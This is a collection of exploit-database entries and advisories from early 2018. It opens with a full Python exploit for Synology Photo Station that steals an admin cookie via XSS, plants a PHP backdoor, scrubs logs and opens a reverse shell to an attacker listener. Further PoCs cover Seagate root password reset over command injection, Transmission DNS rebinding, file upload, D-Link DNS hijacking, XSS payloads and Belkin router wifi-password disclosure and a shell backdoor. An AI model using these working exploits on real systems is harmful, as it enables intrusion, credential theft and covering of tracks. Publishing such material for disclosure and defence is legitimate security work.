    Synology Photo Station SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability
    mr_me

(+) waiting for the admin...
(+) stolen: qt4obchbqfss2ap9ct9nb1i534
(+) updated the settings!
(+) wrote php code!
(+) attempting race condition...
(+) won the race!
(+) rce is proven!
(+) deleted the image and scrubbed the logs!
(+) starting handler on port 4444
(+) connection from 192.168.100.9
(+) pop thy shell!
id
uid=138862(PhotoStation) gid=138862(PhotoStation) groups=138862(PhotoStation)
"""

import sys
import socket
import requests
import telnetlib
from threading import Thread
from base64 import b64encode as b64e
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

try:
    import netifaces as ni
except:
    print "(-) try 'pip install netifaces'"
    sys.exit(1)

# haven't pwned yet
pwned = False

class xss(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        global s

        # incase the referer isn't set, its coming from someone else
        try:
            referer = self.headers.get('Referer')
        except:
            referer = ""

        # of course this isn't bullet proof, but its enough for a poc
        if t in referer:
            if "PHPSESSID" in self.path:
                s = self.path.split("=")[1]
                print "(+) stolen: %s" % s
                pwned = True
                self.send_response(200)
                self.end_headers()
        return

def _build_bd(raw=False):
    php = "<?php file_put_contents('si.php','<?php eval(base64_decode($_SERVER[HTTP_SIN]));');die('done'); ?>.gif"
    if raw == True:
        return php
    return "photo_2f_%s" % (php.encode("hex"))

def we_can_set_settings(target, session):
    uri = "http://%s/photo/admin/share_setting.php" % target
    d = {
        "action" : "set_setting",
        "social_flickr" : "on",
        "share_upload_orig" : "on"
    }
    c = { "PHPSESSID" : session }
    r = requests.post(uri, data=d, cookies=c).json()
    if "success" in r:
        if r["success"] == True:
            return True
    return False

def we_can_upload(target, session):
    uri = "http://%s/photo/webapi/file.php" % (target)
    p = { "SynoToken" : session }
    c = { "PHPSESSID" : session }

    # valid gif, important
    gif  = "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x00"
    gif += "\x00\x00\x21\xf9\x04\x01\x00\x00\x00\x00\x2c"
    gif += "\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02"
    f = { "original": ("si.gif", gif) }
    d = {
        "api": "SYNO.PhotoStation.File", 
        "method" : "uploadphoto",
        "version" : 1,
        "dest_folder_path": "",
        "duplicate" : "rename",
        "mtime": "1513540164787",
        "filename" : _build_bd(True)
    }
    r = requests.post(uri, params=p, files=f, cookies=c, data=d).json()
    if "success" in r:
        if r["success"] == True:
            return True
    return False

def race(target):
    r = ""
    while("done" not in r):
        r = requests.get("http://%s/photo/pwn.php" % target).text
    return True 

def we_won_race(target, session, racing_thread):
    while(racing_thread.isAlive()):
        uri = "http://%s/photo/SocialNetwork/flickr.php" % target
        d = {
            "prog_id" : "../../volume1/@appstore/PhotoStation/photo/pwn.php",
            "action" : "multi_upload",
            "token" : 1,
            "secret" : "",
            "photoList" : _build_bd()
        }
        c = { "PHPSESSID": session }
        requests.post(uri, cookies=c, data=d)
    return True

def build_php_code():
    phpkode  = ("""
    @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
    phpkode += ("""$dis=@ini_get('disable_functions');""")
    phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
    phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
    phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
    phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
    phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
    phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
    phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
    phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
    phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
    phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
    phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
    phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
    phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
    phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
    phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
    phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
    phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
    phpkode += ("""$nofuncs='no exec functions'; """)
    phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
    phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (cb_host, cb_port))
    phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
    phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
    phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
    phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (cb_host, cb_port))
    phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
    phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
    phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
    phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
    phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
    phpkode += ("""}@socket_close($s);} """)
    return phpkode

def exec_code(target):
    handlerthr = Thread(target=handler, args=(cb_port,))
    handlerthr.start()
    we_can_exec_php(target, b64e(build_php_code()))
 
def handler(lport):
    print "(+) starting handler on port %d" % lport
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lport))
    s.listen(1)
    conn, addr = s.accept()
    print "(+) connection from %s" % addr[0]
    t.sock = conn
    print "(+) pop thy shell!"
    t.interact()

def we_can_exec_php(target, php):
    h = { "SIN" : php }
    r = requests.get("http://%s/photo/si.php" % target, headers=h)
    if r.text == "pwn":
        return True
    return False

def we_can_clean_up(target, session):
    uri = "http://%s/photo/webapi/photo.php" % target

    d = {
        "api": "SYNO.PhotoStation.Photo", 
        "method" : "delete",
        "version" : 1,
        "id" : _build_bd()
    }
    c = { "PHPSESSID" : session }
    h = { "X-SYNO-TOKEN" : session }
    r = requests.post(uri, cookies=c, data=d, headers=h).json()
    if "success" in r:
        if r["success"] == True:
            return True
    return False

def banner():
    return """\n\tSynology Photo Station SYNOPHOTO_Flickr_MultiUpload Race Condition File Write Remote Code Execution Vulnerability\n\tmr_me\n"""

def do_xss(target, ip):
    j = "\"><img src=x onerror=this.src=\"http://%s:9090/?\"+document.cookie>" % ip
    d = {
        "api" : "SYNO.PhotoStation.Auth",
        "method" : "login",
        "version" : 1,
        "username" : j,
        "password" : "WAT",
        "enable_syno_token" : "true"
    }
    r = requests.post("http://%s/photo/webapi/auth.php" % target, data=d).json()

def we_can_clear_logs(target, session):
    c = { "PHPSESSID" : session }
    p = { "SynoToken" : session }
    d = {
        "api": "SYNO.PhotoStation.PhotoLog", 
        "method" : "clear",
        "version" : 1,
    }
    r = requests.post("http://%s/photo/webapi/log.php" % target, data=d, params=p, cookies=c).json()
    if "success" in r:
        if r["success"] == True:
            return True
    return False

def start_pain_train(t, s):
    if we_can_set_settings(t, s):
        print "(+) updated the settings!"
        if we_can_upload(t, s):
            print "(+) wrote php code!"
            print "(+) attempting race condition..."
            r = Thread(target=race, args=(t,))
            r.start()
            if we_won_race(t, s, r):
                print "(+) won the race!"
                if we_can_exec_php(t, b64e('`rm pwn.php`;echo "pwn";')):
                    print "(+) rce is proven!"
                    if we_can_clean_up(t, s) and we_can_clear_logs(t, s):
                        print "(+) deleted the image and scrubbed the logs!"
                        exec_code(t)

def keep_running():
    if pwned == True:
        return False
    return True

def main():
    print banner()
    global cb_host, cb_port, s, t
    if len(sys.argv) != 3:
        print "(+) usage: %s <target> <interface>" % sys.argv[0]
        print "(+) eg: %s 192.168.100.9 en0" % sys.argv[0]
        sys.exit(1)

    s       = ""
    t       = sys.argv[1]
    cb_port = 4444

    try:
        cb_host = ni.ifaddresses(sys.argv[2])[2][0]['addr']
    except:
        print "(-) no ip address associated with that interface!"
        sys.exit(1)

    do_xss(t, cb_host)

    try:
        server = HTTPServer(('0.0.0.0', 9090), xss)
        print '(+) waiting for the admin...'
        while keep_running():
            server.handle_request()

    except KeyboardInterrupt:
        print '(+) shutting down the web server'
        server.socket.close()

    if s != "":
        start_pain_train(t, s)

if __name__ == "__main__":
    main()
            
Document Title:
===============
Flash Operator Panel v2.31.03 - Command Execution Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1907


Release Date:
=============
2018-01-08


Vulnerability Laboratory ID (VL-ID):
====================================
1907


Common Vulnerability Scoring System:
====================================
6.2


Vulnerability Class:
====================
Command Injection


Current Estimated Price:
========================
2.000a! - 3.000a!


Product & Service Introduction:
===============================
The most comprehensive and affordable reporting and realtime monitor package for AsteriskA(c) based Call Centers. 
A new approach on getting CDR reports for your phone system, centered on the user and call direction. Top lists, 
Usage pattern and real time view are included. This version works under any Linux flavor (i386, x86_64 and R-Pi3). 
Versions 1.2, 1.4, 1.6, 1.8, 10, 11 and 12 with the manager interface enabled to asterisk. PHP 5 & MySQL 5: only 
required for the visual phonebook, call history and recordings interface.

(Copy of the Vendor Homepage: https://www.fop2.com/index.php )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote command execution in the official Flash Operator Panel v2.31.03.


Vulnerability Disclosure Timeline:
==================================
2018-01-08: Non-Public Disclosure (Vulnerability Laboratory - Shared Customer Research Feed)


Discovery Status:
=================
Published


Affected Product(s):
====================
Nicolas Gudino (Asternic)
Product: Flash Operator Panel 2 - User Control Panel (Web-Application) CentOS 2.31.03, Debian 2.31.03 & RPI-ARM 2.30.03


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A command inject web vulnerability has been discovered in the official Flash Operator Panel v2.31.03 web-application.
The security vulnerability allows remote attackers to inject own system specific commands via web-application.

The command inject web vulnerability is located in the the `command` path variable paramter of the `index.php` file.
Remote attackers with low privileged web-application user account roles are able to perform command requests via 
callforward module. Thus allows an user account with restricted privileges to perform unauthorized command requests 
to compromise the operator panel web-application. The request method to inject the malicious command to the index path 
variable is GET. The attack is limited on exploitation to a restricted authenticated user account of the application.

The security risk of the command injection is estimated as high with a cvss (common vulnerability scoring system) count of 6.2. 
Exploitation of the command inject vulnerability requires a low privileged web-application user account and no user interaction. 
Successful exploitation of the vulnerability results in web-application-, database management system or web-server -compromise.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] UCP - User Control Panel

Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] command


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without user interaction and with low privileged user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
http://ucp-fop.localhost:8000/ucp/index.php?quietmode=1337&module=callforward&command=./&[Variable Command Inject Vulnerability!]


PoC: Vulnerable Source (command)
($_REQUEST['quietmode']) && $user !== false && !empty($user)) 
(isset($_REQUEST['command']) && ($_REQUEST['command'] == 'login' 
$_REQUEST['command'] == 'forgot' 
$_REQUEST['command'] == 'reset'))) {
$m = !empty($_REQUEST['module']) ? $_REQUEST['module'] : null;
$ucp->Ajax->doRequest($m,$_REQUEST['command']);

Note: The request can be performed by restricted user accounts of the user control panel for higher access privileges.
The main administrator can use the command parameter to attack the backend of the main administrator by the same method.
The callforward uses the command variable to execute which is the same method performed for basic restricted user accounts.


Reference(s):
http://ucp-fop.localhost:8000/
http://ucp-fop.localhost:8000/ucp/
http://ucp-fop.localhost:8000/ucp/index.php
http://ucp-fop.localhost:8000/ucp/index.php?quietmode=1337
http://ucp-fop.localhost:8000/ucp/index.php?quietmode=1337&module=callforward
http://ucp-fop.localhost:8000/ucp/index.php?quietmode=1337&module=callforward&command


Solution - Fix & Patch:
=======================
The command injection web vulnerability can be patched by a secure approval of the command parameter in the index.php file GET method request. 
Sanitize the command path variable and disallow the usage of special chars to prevent further command injection attacks.


Security Risk:
==============
The security risk of the command injection vulnerability via path variable in the web-application is estimated as high (CVSS 6.2).


Credits & Authors:
==================
Benjamin K.M. [bkm@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any 
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its 
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface 
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories 
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, 
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. 

Domains:    www.vulnerability-lab.com    - www.vulnerability-db.com          - www.evolution-sec.com
Programs:   vulnerability-lab.com/submit.php   - vulnerability-lab.com/list-of-bug-bounty-programs.php   - vulnerability-lab.com/register.php
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php       - vulnerability-lab.com/rss/rss_news.php
Social:      twitter.com/vuln_lab    - facebook.com/VulnerabilityLab         - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

            Copyright A(c) 2018 | Vulnerability Laboratory - [Evolution Security GmbH]aC/

-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
            
# SSD Advisory – Seagate Personal Cloud Multiple Vulnerabilities

## Vulnerabilities summary
The following advisory describes two (2) unauthenticated command injection vulnerabilities.

Seagate Personal Cloud Home Media Storage is “the easiest way to store, organize, stream and share all your music, movies, photos, and important documents.”

## Credit
An independent security researcher, Yorick Koster, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

## Vendor response
Seagate was informed of the vulnerability on October 16, but while acknowledging the receipt of the vulnerability information, refused to respond to the technical claims, to give a fix timeline or coordinate an advisory

## Vulnerabilities details
Seagate Media Server uses Django web framework and is mapped to the .psp extension.

Any URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol.
/etc/lighttpd/conf.d/django-host.conf:


```
fastcgi.server += (
".psp"=>
   ((
      "socket" => "/var/run/manage_py-fastcgi.socket",
      "check-local" => "disable",
      "stream-post" => "enable",
      "allow-x-send-file" => "enable",
   )),
".psp/"=>
   ((
      "socket" => "/var/run/manage_py-fastcgi.socket",
      "check-local" => "disable",
      "stream-post" => "enable",
      "allow-x-send-file" => "enable",
   ))
)
```


URLs are mapped to specific views in the file /usr/lib/django_host/seagate_media_server/urls.py.

Two views were found to be affected by unauthenticated command injection.

The affected views are:

- uploadTelemetry
- getLogs

These views takes user input from GET parameters and pass these unvalidated/unsanitized to methods of the commands Python module.

This allows an attacker to inject arbitrary system commands, that will be executed with root privileges.

/usr/lib/django_host/seagate_media_server/views.py:


```
@csrf_exempt
def uploadTelemetry(request):
   ts = request.GET.get('TimeStamp','')
   if (checkDBSQLite()) :
      response = '{"stat":"failed","code":"80","message":"The Database has not been initialized or mounted yet!"}'
   else :
      if ts == "":
         response = '{"stat":"failed","code":"380","message":"TimeStamp parameter missing"}'
         return HttpResponse(response);
      cmd = "/usr/local/bin/log_telemetry "+str(ts)
      commands.getoutput(cmd)
   return HttpResponse('{"stat":"ok"}')
```


/usr/lib/django_host/seagate_media_server/views.py:


```
@csrf_exempt
def getLogs (request):
   try:
      cmd_base='/usr/bin/log-extract-manager.sh'
      uID = request.GET.get ( 'arch_id', None )
      time_stamp = request.GET.get ( 'time_stamp', '' )
   
      if uID:
         (status, output) = commands.getstatusoutput(cmd_base + ' status ' + uID);
         if ('In progress' in output) and (uID in output) :
            return HttpResponse ('{"stat":"ok", "data": {"status":"In Progress"}}')
         elif (status == 0) :
            return HttpResponse ('{"stat":"ok", "data": {"url":"%s", "fileSize":"%d"}}' % ( urllib.quote(output.encode('utf-8')), os.path.getsize(output) ))
         else :
            return HttpResponse ('{"stat":"failed", "code":"853","message":"Id not recognized."}' )
      else:
         (status, output) = commands.getstatusoutput(cmd_base + ' start ' + time_stamp);
         if (status == 0) :
            return HttpResponse ('{"stat":"ok", "data": {"archiveID":"%s"}}' % (output))
   
      return HttpResponse ('{"stat":"failed", "code":"852","message":"Zip file not created."}' )
   except :
      return HttpResponse ('{"stat":"failed", "code":"852","message":"Zip file not created."}' )
```


Note that both views contain the csrf_exempt decorator, which disables the default Cross-Site Request Forgery protection of Django. As such, these issues can be exploited via Cross-Site Request Forgery.

### Proof of Concept
The following proof of concept will try to enable the SSH service, and change the root password. When successful it will be possible to log into the device over SSH with the new password.


```
#!/usr/bin/env python
import os
import urllib
   
scheme = 'http'
host = 'personalcloud.local'
port = '80'
path = 'uploadTelemetry.psp'
querystr = 'TimeStamp=%3b'
#path = 'getLogs.psp'
#querystr = 'time_stamp=%3b'
password = 'Welcome01'
   
cmds = ['ngc --start sshd 2>&1',
      'echo -e "%(s)s\n%(s)s"|passwd 2>&1' % {'s' : password}]
   
for cmd in cmds:
   print 'Running command', repr(cmd)
   cmd = urllib.quote_plus(cmd)
   r = urllib.urlopen('%s://%s:%s/%s?%s%s' % (scheme, host, port, path, querystr, cmd))
   print r.read()
   
print 'Log in with', password
os.system('ssh -p 2222 root@%s' % host)
```
            
The transmission bittorrent client uses a client/server architecture, the user interface is the client and a daemon runs in the background managing the downloading, seeding, etc.

Clients interact with the daemon using JSON RPC requests to a web server listening on port 9091. By default, the daemon will only accept requests from localhost.

A sample RPC session looks like this:

```
$ curl -H 'X-Transmission-Session-Id: foo'  -sI '{}' http://localhost:9091/transmission/rpc
HTTP/1.1 409 Conflict
Server: Transmission
X-Transmission-Session-Id: JL641xTn2h53UsN6bVa0kJjRBLA6oX1Ayl06AJwuhHvSgE6H
Date: Wed, 29 Nov 2017 21:37:41 GMT
```

```
$ curl -H 'X-Transmission-Session-Id: JL641xTn2h53UsN6bVa0kJjRBLA6oX1Ayl06AJwuhHvSgE6H'  -d '{"method":"session-set","arguments":{"download-dir":"/home/user"}}' -si http://localhost:9091/transmission/rpc
HTTP/1.1 200 OK
Server: Transmission
Content-Type: application/json; charset=UTF-8
Date: Wed, 29 Nov 2017 21:38:57 GMT
Content-Length: 36

{"arguments":{},"result":"success"}
```

As with all HTTP RPC schemes like this, any website can send requests to the daemon with XMLHttpRequest, but the theory is they will be ignored because requests must read and request a specific header, X-Transmission-Session-Id. Unfortunately, this design doesn't work because of an attack called "dns rebinding". Any website can simply create a dns name that they are authorized to communicate with, and then make it resolve to localhost.

The attack works like this:

1. A user visits http://attacker.com.
2. attacker.com has an <iframe> to attack.attacker.com, and have configured their DNS server to respond alternately with 127.0.0.1 and 123.123.123.123 (an address they control) with a very low TTL.
3. When the browser resolves to 123.123.123.123, they serve HTML that waits for the DNS entry to expire, then they XMLHttpRequest to attack.attacker.com and have permission to read and set headers.

You can test this attack like this, I have a domain I use for testing called rbndr.us, you can use this page to generate hostnames:

https://lock.cmpxchg8b.com/rebinder.html

Here I want to alternate between 127.0.0.1 and 199.241.29.227, so I use 7f000001.c7f11de3.rbndr.us:

```
$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 127.0.0.1
$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 199.241.29.227
$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 127.0.0.1
```

Here you can see the resolution alternates between the two addresses I want (note that depending on caching it might take a while to switch, the TTL is set to minimum but some servers round up).

I just wait for the cached response to expire, and then POST commands to the server.

Exploitation is simple, you could set script-torrent-done-enabled and run any command, or set download-dir to /home/user/ and then upload a torrent for ".bashrc". 

Here is my (simple) demo:

http://lock.cmpxchg8b.com/Asoquu3e.html

See screenshots for how it's supposed to work, I've only tested it on fedora with `yum install transmission-daemon` and all default settings, but this should work on any platform that transmission supports.

EDB Note ~ https://bugs.chromium.org/p/project-zero/issues/detail?id=1447
EDB Note ~ https://github.com/transmission/transmission/pull/468
EDB Note ~ https://github.com/taviso/rbndr/tree/a189ffd9447ba78aa2702c5649d853b6fb612e3b

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43665.zip
            
# # # # # 
# Zomato Clone  - Arbitrary File Upload
# Date: 16.01.2018
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.exclusivescript.com/product/099S4111872/php-scripts/zomato-clone-script
# Demo: http://jhinstitute.com/demo/foodpanda/
# Version: N/A
# Category: Webapps
# Tested on: Windows 10
# Exploit Author: Tauco

Testing for malicious files verifies that the application/system is able to correctly protect against attackers uploading malicious files. Vulnerabilities related to the uploading of malicious files is unique in that these “malicious” files can easily be rejected through including business logic that will scan files during the upload process and reject those perceived as malicious. Additionally, this is different from uploading unexpected files in that while the file type may be accepted the file may still be malicious to the system.

Proof of concept:
===================================================================================
POST /demo/foodpanda/myacount.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

-----------------------------41184676334
Content-Disposition: form-data; name="fname"

test
-----------------------------41184676334
Content-Disposition: form-data; name="lname"

test
-----------------------------41184676334
Content-Disposition: form-data; name="email"

test@test.com
-----------------------------41184676334
Content-Disposition: form-data; name="phone"

123
-----------------------------41184676334
Content-Disposition: form-data; name="image"; filename="info.php.jpg" (change extension to .php)
Content-Type: image/jpeg

<?php
phpinfo();
?>
-----------------------------41184676334
Content-Disposition: form-data; name="addr1"

test
-----------------------------41184676334
Content-Disposition: form-data; name="addr2"

test
-----------------------------41184676334
Content-Disposition: form-data; name="post"


-----------------------------41184676334
Content-Disposition: form-data; name="country"

1
-----------------------------41184676334
Content-Disposition: form-data; name="state"

3945
-----------------------------41184676334
Content-Disposition: form-data; name="city"

16315
-----------------------------41184676334
Content-Disposition: form-data; name="location"

test
-----------------------------41184676334
Content-Disposition: form-data; name="update"

Upload
-----------------------------41184676334--


===================================================================================

Open file location : /demo/foodpanda/photo/mid/[...php]


Description:
==========================================================
 
 
Request Method(s):              [+]  POST & GET
 
 
Vulnerable Product:             [+]  Zomato Clone Script
 
 
Vulnerable Parameter(s):        [+]  filename
            
#
#
#  D-Link DSL-2640R Unauthenticated Remote DNS Change Vulnerability
#
#  Firmware Version: UK_1.06 Hardware Version: B1
#
#  Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>
#
#  https://ethical-hacker.org/
#  https://facebook.com/ethicalhackerorg/
#
#  Description:  
#  The vulnerability exist in the web interface.
#  D-Link's various routers are susceptible to unauthorized DNS change. 
#  The problem is when entering an invalid / wrong user and password.  
#
#  ACCORDING TO THE VULNERABILITY DISCOVERER, MORE D-Link 
#  DEVICES MAY AFFECTED.
#
#  Once modified, systems use foreign DNS servers,  which are 
#  usually set up by cybercriminals. Users with vulnerable 
#  systems or devices who try to access certain sites are 
#  instead redirected to possibly malicious sites.
#  
#  Modifying systems' DNS settings allows cybercriminals to 
#  perform malicious activities like:
#
#    o  Steering unknowing users to bad sites: 
#       These sites can be phishing pages that 
#       spoof well-known sites in order to 
#       trick users into handing out sensitive 
#       information.
#
#    o  Replacing ads on legitimate sites: 
#       Visiting certain sites can serve users 
#       with infected systems a different set 
#       of ads from those whose systems are 
#       not infected.
#   
#    o  Controlling and redirecting network traffic: 
#       Users of infected systems may not be granted 
#       access to download important OS and software 
#       updates from vendors like Microsoft and from 
#       their respective security vendors.
#
#    o  Pushing additional malware: 
#       Infected systems are more prone to other 
#       malware infections (e.g., FAKEAV infection).
#
#  

Proof of Concept:

http://<TARGET>/Forms/dns_1?Enable_DNSFollowing=1&dnsPrimary=<MALICIOUS DNS>&dnsSecondary=<MALICIOUS DNS>
            
# Exploit Title: Reservo Image Hosting Script 1.5 - Cross Site Scripting
# Date: 15-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: reservo.co
# Version: 1.6
# CVE-ID: CVE-2018-5705

With support for automatic thumbnails & image resizing in over 200 image
formats, robust privacy options, secure image manager, external storage a
feature rich admin area and free migration scripts, Reservo really does
tick every box.


Reservo Image Hosting is vulnerable to XSS attacks. The affected function
is its search engine. Since there is an user/admin login interface, it's
possible for attackers to steal sessions of users and thus admin(s). By
sending users an infected URL, code will be executed.

---------------------------
---------------------------
PoC:

https://
{{target}}/search/?s=image&t=%27%29%3B%2522%2520style%253D%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3C
---------------------------
---------------------------

Evil javascript code can be inserted and will be executed when visiting the
link
            
# Exploit Title: sugarCRM 3.5.1 XSS refeclted
# Date: 16/01/2017
# Exploit Author: Guilherme Assmann
# Vendor Homepage: https://www.sugarcrm.com/
# Version: 3.5.1
# Tested on: kali linux, windows 7, 8.1, 10, ubuntu - Firefox
# Download https://sourceforge.net/projects/sugarcrm/files/SugarCRM%20Release%20Archive/Sugar%20Suite%203.5.1/
# CVE: CVE-2018-5715
More informations: https://m4k4br0.github.io/sugarcrm-xss/

The vulnerability are in the key parameter of phpprint.php

32 foreach ($_GET as $key => $val) {
33   if ($key != "print") {
34     if (is_array($val)) {
35       foreach ($val as $k => $v) {
36         $query_string .= "{$key}[{$k}]=" . urlencode($v) . "&";
37       }
38     }
39     else {
40       $query_string .= "{$key}=" . urlencode($val) . "&";
41     }
42   }
43 }

the $key variable are not encoded, this permit that XSS more easy
---------------------------------------------------------------------
Poc:
http://vulnerable/index.php?action=Login&module=Users&print=a&"/><script>alert('xss')</script>
            
# Exploit Title: Belkin N600DB Wireless Router | Multiple Vulnerabilities
# Date: 16/01/2018
# Exploit Author: Wadeek
# Hardware Version: F9K1102as v3
# Firmware Version: 3.04.11
# Vendor Homepage: http://www.belkin.com/fr/support/product/?pid=F9K1102as
# Firmware Link: http://cache-www.belkin.com/support/dl/F9K1102_WW_3.04.11.bin

== Wireless Fingerprinting ==
#===========================================
:ESSID: "belkin.XXX"
:Mode: Master
:Encryption key WPA2 Version 1 CCMP PSK: on
:Wireless Password/PIN: 8-alphanumeric
:DHCP: enable (192.168.2.1)
:MAC Address: 58:EF:68
#===========================================

== Web Fingerprinting (With Locked Web Interface) ==
#===========================================
:www.shodan.io: "Server: httpd" "Cache-Control: no-cache,no-store,must-revalidate, post-check=0,pre-check=0" "100-index.htm"
#===========================================
:Device images:
/images/troubleshooting/checkWires.png (600x270)
/images/troubleshooting/startModem.png (600x270)
/images/troubleshooting/stopModem.png (600x270)
/images/troubleshooting/restartRouter.png (600x270)
#===========================================
:Hardware version,Firmware version,Serial number,...: /cgi/cgi_st.js && /cgi/cgi_dashboard.js
#===========================================

== PoC ==
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
:Disclore wifi password: 
curl --silent "http://192.168.2.1/langchg.cgi" 
|| 
curl --silent "http://192.168.2.1/adv_wifidef.cgi"
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
:Closed "HTTPD server" port:
curl --silent "http://192.168.2.1/removepwd.cgi" --data ""
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
:Web Backdoor:
http://192.168.2.1/dev.htm
> ?
> sh
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
:Server-Side Request Forgery (HTTP/FTP):
{45.33.32.156 == scanme.nmap.org}
curl --silent "http://192.168.2.1/proxy.cgi?chk&url=http://45.33.32.156/"
||
curl --silent "http://192.168.2.1/proxy.cgi?chk&url=ftp://45.33.32.156/"
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
:Command Injection:
curl --silent "http://192.168.2.1/proxy.cgi?chk&url=--help"
